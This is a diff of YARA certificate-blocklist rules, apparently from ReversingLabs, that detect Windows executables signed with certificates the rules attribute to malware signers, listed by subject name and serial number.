REVERSINGLABS_Cert_Blocklist_5C2625Fa836A64F4882C56Cc7A45F0Ed : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Xin Zhou" and pe.signatures [ i ] . serial == "5c:26:25:fa:83:6a:64:f4:88:2c:56:cc:7a:45:f0:ed" and 1474416000 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "ALUSEN d. o. o." and pe.signatures [ i ] . serial == "1e:f6:39:2b:29:93:a6:f6:75:78:29:96:59:46:7e:a8" and 1618531200 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_7Df6Fa580F84493C414Ee0E431086737 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_A918455C0D4Da7Ca474F41F11A7Cf38C : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "27afa64e-0c9e-58ca-a4e1-db97cde66427" + id = "959b10fe-fbd0-5642-a5d9-4ac2e0474666" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L15462-L15478" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L9552-L9570" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "ef244587c9eb1e1cb2f8a9c161e5dd9ff70e9764586f16e011334400ee400ed9" + logic_hash = "ea30d85c057f9363ce29d4c024097c50a8752dd2095481181322fe5d5c92bb4b" score = 75 quality = 90 tags = "INFO, FILE" @@ -27653,21 +50047,21 @@ rule REVERSINGLABS_Cert_Blocklist_7Df6Fa580F84493C414Ee0E431086737 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Yu Bao" and pe.signatures [ i ] . serial == "7d:f6:fa:58:0f:84:49:3c:41:4e:e0:e4:31:08:67:37" and 1477440000 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "MIDDRA INTERNATIONAL CORP." and ( pe.signatures [ i ] . serial == "00:a9:18:45:5c:0d:4d:a7:ca:47:4f:41:f1:1a:7c:f3:8c" or pe.signatures [ i ] . serial == "a9:18:45:5c:0d:4d:a7:ca:47:4f:41:f1:1a:7c:f3:8c" ) and 1618963200 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_309D2E115F1Fe2993Ee2E063 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_936Bc256D2057Ca9B9Ec3034C3Ed0Ee6 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "7182f3f2-7b2a-5c29-b7a9-607feafbe570" + id = "4dbe7db7-2f61-558c-a6dc-875ba87322c7" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L15480-L15496" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L9572-L9590" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "15fdb95fe5429cdc0263615c2b7c90d21f37b52954c5ce568c1293cd3a544730" + logic_hash = "7e90c29bcfe4632e70b61a0cf2ab48a3de986bd5c6c730f64a363f4f3d79a3f4" score = 75 quality = 90 tags = "INFO, FILE" @@ -27677,21 +50071,21 @@ rule REVERSINGLABS_Cert_Blocklist_309D2E115F1Fe2993Ee2E063 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "VANKY TECHNOLOGY LIMITED" and pe.signatures [ i ] . serial == "30:9d:2e:11:5f:1f:e2:99:3e:e2:e0:63" and 1467102525 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "SALES & MAINTENANCE LIMITED" and ( pe.signatures [ i ] . serial == "00:93:6b:c2:56:d2:05:7c:a9:b9:ec:30:34:c3:ed:0e:e6" or pe.signatures [ i ] . serial == "93:6b:c2:56:d2:05:7c:a9:b9:ec:30:34:c3:ed:0e:e6" ) and 1616889600 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_90E33C1068F54913315B6Ce9311141B9 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_Afe8Fee94B41422E01E4897Bcd52D0A4 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "61c5d5ed-ca2c-5f71-893b-4c933b37fa27" + id = "83d08ca6-2a0b-5da3-8d53-7bf8bcc361cf" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L15498-L15516" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L9592-L9610" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "4a97171c6dfaa8d249ab0be1ce264b596d266ff4697d869a4d1f90cc0e2c49b7" + logic_hash = "02c55b182bc9843334baed9c0a7cca2c88cd1de00ca9b47b10ec79b7a5acf9bb" score = 75 quality = 90 tags = "INFO, FILE" @@ -27701,21 +50095,21 @@ rule REVERSINGLABS_Cert_Blocklist_90E33C1068F54913315B6Ce9311141B9 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "GERMES, OOO" and ( pe.signatures [ i ] . serial == "00:90:e3:3c:10:68:f5:49:13:31:5b:6c:e9:31:11:41:b9" or pe.signatures [ i ] . serial == "90:e3:3c:10:68:f5:49:13:31:5b:6c:e9:31:11:41:b9" ) and 1487635200 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "TLGM ApS" and ( pe.signatures [ i ] . serial == "00:af:e8:fe:e9:4b:41:42:2e:01:e4:89:7b:cd:52:d0:a4" or pe.signatures [ i ] . serial == "af:e8:fe:e9:4b:41:42:2e:01:e4:89:7b:cd:52:d0:a4" ) and 1617062400 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_3F15C3 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_718E89Ddb33257Ea77Ba74Be7F2Baf1D : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "10bee456-21c0-51a0-988b-43daf65e596b" + id = "d173c2b2-2b76-521a-aac1-ae69fdf5b16b" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L15518-L15534" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L9612-L9628" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "03ea946fa99ed7a6ab23cb26dbf514b6c062d63371c9e2a5ddf999acd1954955" + logic_hash = "2f0defa1e1d905d937677e96f2a0955d9737f6976596932cc093fdecfea3fdb0" score = 75 quality = 90 tags = "INFO, FILE" @@ -27725,21 +50119,21 @@ rule REVERSINGLABS_Cert_Blocklist_3F15C3 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Certified Software" and pe.signatures [ i ] . serial == "3f:15:c3" and 1110577130 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Trap Capital ApS" and pe.signatures [ i ] . serial == "71:8e:89:dd:b3:32:57:ea:77:ba:74:be:7f:2b:af:1d" and 1635462927 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_285Eccbd1D0000E640B84307Ef88Cd9F : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_4D3E38F4Aebbc32257450726B29Be117 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "4dc1523f-edc8-52e2-99aa-7389c0eb5e54" + id = "173f89ca-e7b3-507b-96c1-325dd06210f8" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L15536-L15552" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L9630-L9646" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "267df1c327b65938b2b82a53ec8345290659560c69c9a70f2866fe7bd73513a7" + logic_hash = "f618547942fcd9b3d1104cb5bedeecec8596fa7cc34bca838b6120085b305d73" score = 75 quality = 90 tags = "INFO, FILE" @@ -27749,21 +50143,21 @@ rule REVERSINGLABS_Cert_Blocklist_285Eccbd1D0000E640B84307Ef88Cd9F : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "DRAGON BUSINESS EQUIPMENT LIMITED" and pe.signatures [ i ] . serial == "28:5e:cc:bd:1d:00:00:e6:40:b8:43:07:ef:88:cd:9f" and 1611619200 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "POLE & AERIAL FITNESS LIMITED" and pe.signatures [ i ] . serial == "4d:3e:38:f4:ae:bb:c3:22:57:45:07:26:b2:9b:e1:17" and 1636123882 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_55Ab71A3F9Dde3Ef20C788Dd1D5Ff6C3 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_8F4C49Dae1F1Ff0Ebe9104C6F73242Bd : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "c8b5b632-26e6-5a78-99be-b50b1240dbec" + id = "b7731056-1674-5375-a3cb-69632670d6d9" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L15554-L15570" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L9648-L9666" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "4bee740eaf359462cd85c6232160c6b1fc3df67acfe731da9978f0b8a304a93f" + logic_hash = "a8c99cc30b791a76fe3cd48184bf95ee47abb30bd200128efd2f5295ee18f7b1" score = 75 quality = 90 tags = "INFO, FILE" @@ -27773,21 +50167,21 @@ rule REVERSINGLABS_Cert_Blocklist_55Ab71A3F9Dde3Ef20C788Dd1D5Ff6C3 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Zhengzhoushi Tiekelian Information Technology Co.,Ltd" and pe.signatures [ i ] . serial == "55:ab:71:a3:f9:dd:e3:ef:20:c7:88:dd:1d:5f:f6:c3" and 1323907200 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Contact Merger Holding ApS" and ( pe.signatures [ i ] . serial == "00:8f:4c:49:da:e1:f1:ff:0e:be:91:04:c6:f7:32:42:bd" or pe.signatures [ i ] . serial == "8f:4c:49:da:e1:f1:ff:0e:be:91:04:c6:f7:32:42:bd" ) and 1636039748 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_4Beca26210737A5442Ff8B47 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_Ac3C05F1Cb9453De8E7110F589Fb32C0 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "30570c07-9ba1-5b7c-a369-c6def80f9dc5" + id = "2578655e-6420-5a67-9116-cab5cf5bc195" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L15572-L15588" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L9668-L9686" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "7a1130413ae8807dc1ec96a6b1c3bac705a1520f7268db2848b997f6f3f9fc9b" + logic_hash = "6328fd5dbb497c69ddc9151f85754669760b709ecbff3e8f320a40a62ca0dd2c" score = 75 quality = 90 tags = "INFO, FILE" @@ -27797,21 +50191,21 @@ rule REVERSINGLABS_Cert_Blocklist_4Beca26210737A5442Ff8B47 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "VANKY TECHNOLOGY LIMITED" and pe.signatures [ i ] . serial == "4b:ec:a2:62:10:73:7a:54:42:ff:8b:47" and 1476437049 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "TRAIN BUILDING TEAM s.r.o." and ( pe.signatures [ i ] . serial == "00:ac:3c:05:f1:cb:94:53:de:8e:71:10:f5:89:fb:32:c0" or pe.signatures [ i ] . serial == "ac:3c:05:f1:cb:94:53:de:8e:71:10:f5:89:fb:32:c0" ) and 1635854205 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_0F203839A9C63B8798A7Cb31 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_Fbb96A90B6718810311767Ca25Ab1E48 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "dc8428f3-ff28-5fcf-9855-f20c68973afe" + id = "77319b9c-6075-5ac7-958c-d76916873e85" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L15590-L15606" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L9688-L9706" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "604ba3fa671cc98e42caf80d07bc9650d193f898413517b46482f183b0f7008a" + logic_hash = "431e3364a42b272d9b71b92dee44cc185ef034a45a0b72bbda82cf7e9b29c355" score = 75 quality = 90 tags = "INFO, FILE" @@ -27821,21 +50215,21 @@ rule REVERSINGLABS_Cert_Blocklist_0F203839A9C63B8798A7Cb31 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "VANKY TECHNOLOGY LIMITED" and pe.signatures [ i ] . serial == "0f:20:38:39:a9:c6:3b:87:98:a7:cb:31" and 1480923809 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Rakurs LLC" and ( pe.signatures [ i ] . serial == "00:fb:b9:6a:90:b6:71:88:10:31:17:67:ca:25:ab:1e:48" or pe.signatures [ i ] . serial == "fb:b9:6a:90:b6:71:88:10:31:17:67:ca:25:ab:1e:48" ) and 1636046757 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_Dc992Ea8E6Bb4926931Df656D5Eef8A0 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_Cfd38423Aef875A10B16644D058297E2 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "506b217e-ea82-5f14-880e-b6c0cbb001fb" + id = "f53e4f44-dde2-5f7a-8cab-71e91ff75d28" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L15608-L15626" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L9708-L9726" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "2b261624677a1c4a1ef539106bedcef30f272fda3d833d4c8095e9797d592e1f" + logic_hash = "a2f67cbf31c9db2891892c31a7ed4ce7eccd834bfb10ae70f58e46f8e68e7c17" score = 75 quality = 90 tags = "INFO, FILE" @@ -27845,21 +50239,21 @@ rule REVERSINGLABS_Cert_Blocklist_Dc992Ea8E6Bb4926931Df656D5Eef8A0 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "MEGAPOLISELIT, OOO" and ( pe.signatures [ i ] . serial == "00:dc:99:2e:a8:e6:bb:49:26:93:1d:f6:56:d5:ee:f8:a0" or pe.signatures [ i ] . serial == "dc:99:2e:a8:e6:bb:49:26:93:1d:f6:56:d5:ee:f8:a0" ) and 1497916800 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "TRUST DANMARK ApS" and ( pe.signatures [ i ] . serial == "00:cf:d3:84:23:ae:f8:75:a1:0b:16:64:4d:05:82:97:e2" or pe.signatures [ i ] . serial == "cf:d3:84:23:ae:f8:75:a1:0b:16:64:4d:05:82:97:e2" ) and 1632884040 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_41Bd49Bb456644D8183B3Dae72Ec8F22 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_E6C05C5A2222Bf92818324A3A7374Ad3 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "4645eeae-2aea-59aa-a6bf-095bb9d0d711" + id = "2b5b79d8-e8fa-5593-b4c4-89af1f711152" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L15628-L15644" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L9728-L9746" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "0516af7b27d244f21c9cea62fe599725d412e385e34f5f3f4f618d565365d321" + logic_hash = "bea8fea49144abc109e33a5964bb8e113aa61b4cd70c72a43183cb0840429571" score = 75 quality = 90 tags = "INFO, FILE" @@ -27869,21 +50263,21 @@ rule REVERSINGLABS_Cert_Blocklist_41Bd49Bb456644D8183B3Dae72Ec8F22 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Xin Zhou" and pe.signatures [ i ] . serial == "41:bd:49:bb:45:66:44:d8:18:3b:3d:ae:72:ec:8f:22" and 1468454400 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "ANAQA EVENTS LTD" and ( pe.signatures [ i ] . serial == "00:e6:c0:5c:5a:22:22:bf:92:81:83:24:a3:a7:37:4a:d3" or pe.signatures [ i ] . serial == "e6:c0:5c:5a:22:22:bf:92:81:83:24:a3:a7:37:4a:d3" ) and 1634720407 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_A8D40Da6708679C08Aebddea6D3F6B8A : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_75Ce08Bdbad44123299Dbe9D7C1D20De : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "a4224bf1-1875-5b2c-b79d-998d3766d163" + id = "e8e2d3b6-077f-56ba-9f2a-1941bf2ebdeb" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L15646-L15664" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L9748-L9764" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "27ec32791eaeccb8aa95d023c4fc8943f0435c32d8a17bde98d7d0b02ba17e59" + logic_hash = "8ba66ab55f9a6755e11a7f39152aa26917271c7f6bc5ffdb42d07ad791fb47d7" score = 75 quality = 90 tags = "INFO, FILE" @@ -27893,21 +50287,21 @@ rule REVERSINGLABS_Cert_Blocklist_A8D40Da6708679C08Aebddea6D3F6B8A : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "VELES LTD." and ( pe.signatures [ i ] . serial == "00:a8:d4:0d:a6:70:86:79:c0:8a:eb:dd:ea:6d:3f:6b:8a" or pe.signatures [ i ] . serial == "a8:d4:0d:a6:70:86:79:c0:8a:eb:dd:ea:6d:3f:6b:8a" ) and 1547424000 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Rose Holm International ApS" and pe.signatures [ i ] . serial == "75:ce:08:bd:ba:d4:41:23:29:9d:be:9d:7c:1d:20:de" and 1631007095 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_307642E1F3A92C6Cc2E7Fb6E18F2Ddcb : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_333705C20B56E57F60B5Eb191Eef0D90 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "6dd35efb-daea-5668-a01d-f5b80371b04c" + id = "7f98e550-fca6-564f-bbad-40e153f17adc" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L15666-L15682" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L9766-L9782" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "8c96fbd10672b0b258a80f3abaf0320540c5ff0a4636f011cfe7cfa8ccc482d0" + logic_hash = "30eeec467b837f6b1759cd0fd6a8bc2e8942f2400df170c671287f4159652479" score = 75 quality = 90 tags = "INFO, FILE" @@ -27917,21 +50311,21 @@ rule REVERSINGLABS_Cert_Blocklist_307642E1F3A92C6Cc2E7Fb6E18F2Ddcb : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "IBM" and pe.signatures [ i ] . serial == "30:76:42:e1:f3:a9:2c:6c:c2:e7:fb:6e:18:f2:dd:cb" and 1500422400 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "TASK Holding ApS" and pe.signatures [ i ] . serial == "33:37:05:c2:0b:56:e5:7f:60:b5:eb:19:1e:ef:0d:90" and 1634233052 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_52379131A1C69263C795A7D398Db0997 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_A2A0Ba281262Acce7A00119E25564386 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "478994c1-c1c4-5f11-b78f-fe237b687bef" + id = "ab0c7b78-5e7e-5cb9-ae61-d88f3f8d9684" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L15684-L15700" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L9784-L9802" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "245e994024e08add755ec704b895286c115ac00eb5aeecde98fce96f35f6e9e0" + logic_hash = "f5e3c16f6caaf5f3152d90dc48895d0bbcdb296c368beeebb96157f03a8ded40" score = 75 quality = 90 tags = "INFO, FILE" @@ -27941,21 +50335,21 @@ rule REVERSINGLABS_Cert_Blocklist_52379131A1C69263C795A7D398Db0997 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Beijing Caiyunshidai Technology Co., Ltd." and pe.signatures [ i ] . serial == "52:37:91:31:a1:c6:92:63:c7:95:a7:d3:98:db:09:97" and 1476748800 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Sopiteks LLC" and ( pe.signatures [ i ] . serial == "00:a2:a0:ba:28:12:62:ac:ce:7a:00:11:9e:25:56:43:86" or pe.signatures [ i ] . serial == "a2:a0:ba:28:12:62:ac:ce:7a:00:11:9e:25:56:43:86" ) and 1631908320 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_44312Cb9A927B4111360762B4D4Bdd6D : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_338483Cc174C16Ebc454A3803Ffd4217 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "9bc1a8f4-36b7-52bd-9a65-fcd8ec2acf92" + id = "ce30ace6-c2c2-5f3e-a2f7-1f08825d44eb" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L15702-L15718" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L9804-L9820" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "8e34636ed815812af478dd01eacd5298fa2cfeb420ee2f45e055f557534cae71" + logic_hash = "7d7dd55eaab15cf458e5e57f0e5fbebdcc9313aee05394310a5cf9d9b4def153" score = 75 quality = 90 tags = "INFO, FILE" @@ -27965,21 +50359,21 @@ rule REVERSINGLABS_Cert_Blocklist_44312Cb9A927B4111360762B4D4Bdd6D : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "BEAR ADAMS CONSULTING LIMITED" and pe.signatures [ i ] . serial == "44:31:2c:b9:a9:27:b4:11:13:60:76:2b:4d:4b:dd:6d" and 1554768000 